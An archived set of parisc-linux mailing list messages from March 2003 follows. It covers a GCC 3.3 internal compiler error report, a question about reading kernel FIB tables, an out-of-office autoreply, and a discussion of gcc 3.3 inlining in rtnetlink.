Subject: [parisc-linux] [3.3 regression] internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
Date: 15 Mar 2003 07:54:02 -0000
Lines: 64
Approved: news@gmane.org
Message-ID: <20030315075402.24390.qmail__36595.9630035379$1416622288$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622288 22921 80.91.229.3 (22 Nov 2014 02:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:28 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 15 00:54:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id E9D284829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 00:54:02 -0700 (MST)
Original-Received: (qmail 24392 invoked by uid 48); 15 Mar 2003 07:54:02 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org,parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17941

>Category:       c++
>Synopsis:       [3.3 regression] internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64
>Description:
The following code (extracted from goldedplus), when compiled with g++ -c -O2 bug.cpp, gives:

bug.cpp: In member function `int ftn_golded_nodelist_index::addrcmp() const':
bug.cpp:34: internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.


class ftn_addr {
public:
  unsigned short zone;
  unsigned short net;
  unsigned short node;
  unsigned short point;

  ftn_addr();
  ftn_addr(const ftn_addr& a);
  int  compare(const ftn_addr& other) const;
  ftn_addr& operator=(const ftn_addr& a);
};

#pragma pack(1)

struct _GEIdx {
  ftn_addr addr;       // Node address
  _GEIdx() : addr() {}
};

#pragma pack()

class ftn_golded_nodelist_index {
protected:
  _GEIdx   current;
  ftn_addr searchaddr;
  int      addrcmp() const;

public:
  ftn_golded_nodelist_index();
};

int ftn_golded_nodelist_index::addrcmp() const {
  return searchaddr.compare(current.addr);
}
>How-To-Repeat:
see description
compiles fine with g++-3.2
>Fix:
unknown
>Unformatted:


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c++/10091: [3.3 regression] internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
Date: 15 Mar 2003 07:54:02 -0000
Lines: 73
Approved: news@gmane.org
Message-ID: <20030315075402.24390.qmail__10281.6283274025$1416622288$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622288 22925 80.91.229.3 (22 Nov 2014 02:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:28 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 15 00:56:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 5BBA34829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 00:56:01 -0700 (MST)
Original-Received: (qmail 4634 invoked by uid 71); 15 Mar 2003 07:56:01 -0000
Resent-Date: 15 Mar 2003 07:56:01 -0000
Resent-Message-ID: <20030315075601.4632.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org,
	Randolph Chung <tausq@debian.org>
Original-Received: (qmail 24392 invoked by uid 48); 15 Mar 2003 07:54:02 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org,parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17942

>Number:         10091
>Category:       c++
>Synopsis:       [3.3 regression] internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Arrival-Date:   Sat Mar 15 07:56:00 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable)
>Organization:
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64
>Description:
The following code (extracted from goldedplus), when compiled with g++ -c -O2 bug.cpp, gives:

bug.cpp: In member function `int ftn_golded_nodelist_index::addrcmp() const':
bug.cpp:34: internal compiler error: in cp_expr_size, at cp/cp-lang.c:307
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.


class ftn_addr {
public:
  unsigned short zone;
  unsigned short net;
  unsigned short node;
  unsigned short point;

  ftn_addr();
  ftn_addr(const ftn_addr& a);
  int  compare(const ftn_addr& other) const;
  ftn_addr& operator=(const ftn_addr& a);
};

#pragma pack(1)

struct _GEIdx {
  ftn_addr addr;       // Node address
  _GEIdx() : addr() {}
};

#pragma pack()

class ftn_golded_nodelist_index {
protected:
  _GEIdx   current;
  ftn_addr searchaddr;
  int      addrcmp() const;

public:
  ftn_golded_nodelist_index();
};

int ftn_golded_nodelist_index::addrcmp() const {
  return searchaddr.compare(current.addr);
}
>How-To-Repeat:
see description
compiles fine with g++-3.2
>Fix:
unknown
>Release-Note:
>Audit-Trail:
>Unformatted:


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mahesh Pujara" <Mahesh.Pujara@lntinfotech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Accessing the FIB tables
Date: Sat, 15 Mar 2003 17:22:26 +0530
Lines: 54
Approved: news@gmane.org
Message-ID: <OFC9ADC329.AC7F62D7-ON65256CEA.003FA868__21861.3222743899$1416622288$gmane$org@lntinfotech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622288 22931 80.91.229.3 (22 Nov 2014 02:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:28 +0000 (UTC)
To: linux-net@vger.kernel.org, linux-net-owner@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 15 04:57:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ltitlout.lntinfotech.com (unknown [203.199.54.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5BC24829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 04:57:56 -0700 (MST)
Original-Received: from Bangalore.lntinfotech.com ([107.108.204.3])
          by ltitlout.lntinfotech.com (Lotus Domino Release 5.0.11)
          with ESMTP id 2003031517471739:31049 ;
          Sat, 15 Mar 2003 17:47:17 +0530 
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on BANGALORE/LNTINFOTECH(Release 5.0.9 |November 16, 2001) at
 03/15/2003 05:22:26 PM,
	Itemize by SMTP Server on LTITLOUT/LNTINFOTECH(Release 5.0.11  |July 24, 2002) at
 03/15/2003 05:47:17 PM,
	Serialize by Router on LTITLOUT/LNTINFOTECH(Release 5.0.11  |July 24, 2002) at
 03/15/2003 05:47:23 PM,
	Serialize complete at 03/15/2003 05:47:23 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17943

HI,
      I have Linux machine acting as a router and Zebra Daemon  is running
on that. Currently
RIP is configured which is  receiving routes from another gateway. The
routes are updated in FIB
tables.
      I want to read This FIB table , which is declared  as a
struct fib_table *main_table .
I am able to access  and read this table.  i want  to read certain
information from this FIB table and want
to build my own forwarding  table. from this table i am reading NetID,
Netmask, and IP address of  Next Hop gateway.

IP address of  Next Hope gateway is available in fib_nh->nh_gw.  Apart from
this i also want the Mac  address of  Next Hope gateway.   so how  can i
get the MAC address for  Next Hop gateway ??

I  am able to get the pointer to Next hop device that is ,
 #define fib_dev        fib_nh[0].nh_dev

in net_device structure definition ,

#ifdef CONFIG_NET_FASTROUTE
#define NETDEV_FASTROUTE_HMASK 0xF
      /* Semi-private data. Keep it at the end of device struct. */
      rwlock_t          fastpath_lock;
      struct dst_entry  *fastpath[NETDEV_FASTROUTE_HMASK+1];
#endif

 There is a dst_entry in which the hh_cache * is stored .
But the  struct dst_entry     *fastpath[NETDEV_FASTROUTE_HMASK+1];  is null
.
even  CONFIG_NET_FASTROUTE is configured.

So what could be the reason for that??


or  is there any other way to get the MAC address for  Next Hop gateway ??
I know one way is to Do
ARP. But doing ARP would slow down the process.

Any help or link on this is Appreciated.







Cheers,
Mahesh Pujara




From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H Timothy Trinh <timtrinh@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] H Timothy Trinh/Somerset/IBM is out of the office.
Date: Sat, 15 Mar 2003 19:12:09 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <OF1DAA6F72.98E7AAD7-ON87256CEB.000C1947-87256CEB.000C1947@us.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416622288 22933 80.91.229.3 (22 Nov 2014 02:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 15 19:12:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id D98C84829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 19:12:11 -0700 (MST)
Original-Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11])
	by e35.co.us.ibm.com (8.12.8/8.12.2) with ESMTP id h2G2CBJn013340
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 21:12:11 -0500
Original-Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82])
	by westrelay02.boulder.ibm.com (8.12.8/NCO/VER6.5) with ESMTP id h2G2CADi107638
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 19:12:10 -0700
X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0 [IBM]|December 16, 2002) at
 03/15/2003 19:12:09
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17944




I will be out of the office starting March 14, 2003 and will not return
until March 19, 2003.




From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H Timothy Trinh/Somerset/IBM is out of the office.
Date: Sun, 16 Mar 2003 02:21:48 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030316022148.GP29631@parcelfarce.linux.theplanet.co.uk>
References: <OF1DAA6F72.98E7AAD7-ON87256CEB.000C1947-87256CEB.000C1947@us.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622289 22938 80.91.229.3 (22 Nov 2014 02:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: H Timothy Trinh <timtrinh@us.ibm.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 15 19:21:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05E664829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Mar 2003 19:21:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18uNmW-0007wo-00; Sun, 16 Mar 2003 02:21:48 +0000
Content-Disposition: inline
In-Reply-To: <OF1DAA6F72.98E7AAD7-ON87256CEB.000C1947-87256CEB.000C1947@us.ibm.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17945

On Sat, Mar 15, 2003 at 07:12:09PM -0700, H Timothy Trinh wrote:
> I will be out of the office starting March 14, 2003 and will not return
> until March 19, 2003.

http://www.parisc-linux.org/mailing-lists/outlookooo.html

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 16 Mar 2003 16:52:19 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <03031616521900.01171@wolf466>
References: <3E68A24B00000CC9@ocpmta6.freegates.net> <3E6C78E100001649@ocpmta2.freegates.net> <20030314131757.GF29631@parcelfarce.linux.theplanet.co.uk>
Reply-To: mszick@goquest.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622289 22942 80.91.229.3 (22 Nov 2014 02:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 16 15:53:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id C1D87482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Mar 2003 15:52:59 -0700 (MST)
Original-Received: (qmail 16532 invoked by uid 0); 16 Mar 2003 22:52:37 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.88086 secs); 16 Mar 2003 22:52:37 -0000
Original-Received: from unknown (HELO wolf466) (66.90.208.133)
  by mail.goquest.com with SMTP; 16 Mar 2003 22:52:35 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030314131757.GF29631@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17946

On Friday 14 March 2003 07:17 am, Matthew Wilcox wrote:
> On Fri, Mar 14, 2003 at 01:48:59PM +0100, Joel Soete wrote:
> > net/network.o(.text.rtnetlink_rcv+0x84): In function `rtnetlink_rcv':
> > : undefined reference to `rtnetlink_rcv_skb'
> >
> > make: *** [vmlinux] Error 1
> >
> > (with gcc-3.2 with same src && same .config there was no pb)
>
> You've just hit the gcc thinks it's smarter than you are bug.
>
> net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct sk_buff
> *skb)
>
> gcc 3.3 decides to not believe you want this function inlined.  probably
> the right fix for this is to make this function static inline (you can
> drop the `__' around inline, it's not necessary).  This is also the case
> for linux 2.5.

Stolen from the GCC thread on 3.x.x inlining...
- - - - GCC - - - - -
For the record, the kernel doesn't need this any more.  Go check 2.5;
new versions of <linux/compiler.h> contain this line:
#define inline          __inline__ __attribute__((always_inline))
- - - - - - - - - - - -
That forces GCC to ignore its changed inline metrics and simply inline
the function.

Mike


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 16 Mar 2003 23:06:11 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20030316230611.GS29631@parcelfarce.linux.theplanet.co.uk>
References: <3E68A24B00000CC9@ocpmta6.freegates.net> <3E6C78E100001649@ocpmta2.freegates.net> <20030314131757.GF29631@parcelfarce.linux.theplanet.co.uk> <03031616521900.01171@wolf466>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622289 22946 80.91.229.3 (22 Nov 2014 02:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:29 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>, parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 16 16:06:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A4CC482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Mar 2003 16:06:13 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18uhCl-00062m-Ue; Sun, 16 Mar 2003 23:06:11 +0000
Content-Disposition: inline
In-Reply-To: <03031616521900.01171@wolf466>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17947

On Sun, Mar 16, 2003 at 04:52:19PM -0600, Michael S. Zick wrote:
> On Friday 14 March 2003 07:17 am, Matthew Wilcox wrote:
> > net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct sk_buff
> > *skb)
> Stolen from the GCC thread on 3.x.x inlining...
> - - - - GCC - - - - -
> For the record, the kernel doesn't need this any more.  Go check 2.5;
> new versions of <linux/compiler.h> contain this line:
> #define inline          __inline__ __attribute__((always_inline))
> - - - - - - - - - - - -
> That forces GCC to ignore its changed inline metrics and simply inline
> the function.

Yes, but...

 * Joel's using 2.4, not 2.5
 * #define inline doesn't help functions which are marked as __inline__

This isn't a function which absolutely needs to be inlined.  It can
be `static inline' and gcc can do whatever it likes then.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 16 Mar 2003 17:17:16 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <03031617171601.01171@wolf466>
References: <3E68A24B00000CC9@ocpmta6.freegates.net> <03031616521900.01171@wolf466> <20030316230611.GS29631@parcelfarce.linux.theplanet.co.uk>
Reply-To: mszick@goquest.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622290 22949 80.91.229.3 (22 Nov 2014 02:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:30 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 16 16:17:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 345A1482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Mar 2003 16:17:47 -0700 (MST)
Original-Received: (qmail 29803 invoked by uid 0); 16 Mar 2003 23:17:34 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.894531 secs); 16 Mar 2003 23:17:34 -0000
Original-Received: from unknown (HELO wolf466) (66.90.208.133)
  by mail.goquest.com with SMTP; 16 Mar 2003 23:17:33 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030316230611.GS29631@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17948
